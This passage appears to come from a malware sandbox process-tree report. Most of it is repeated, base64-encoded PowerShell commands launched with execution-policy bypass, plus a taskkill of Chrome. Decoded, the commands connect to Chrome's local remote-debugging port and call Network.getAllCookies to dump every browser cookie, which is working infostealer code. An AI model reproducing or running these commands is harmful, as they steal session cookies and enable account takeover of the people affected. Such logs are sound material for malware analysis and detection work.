PQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:6672
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADcAMQAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA3ADEAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:6764
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1944
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                taskkill /F /IM chrome.exe
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                PID:1788
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADcANAA1AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA3ADQANQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3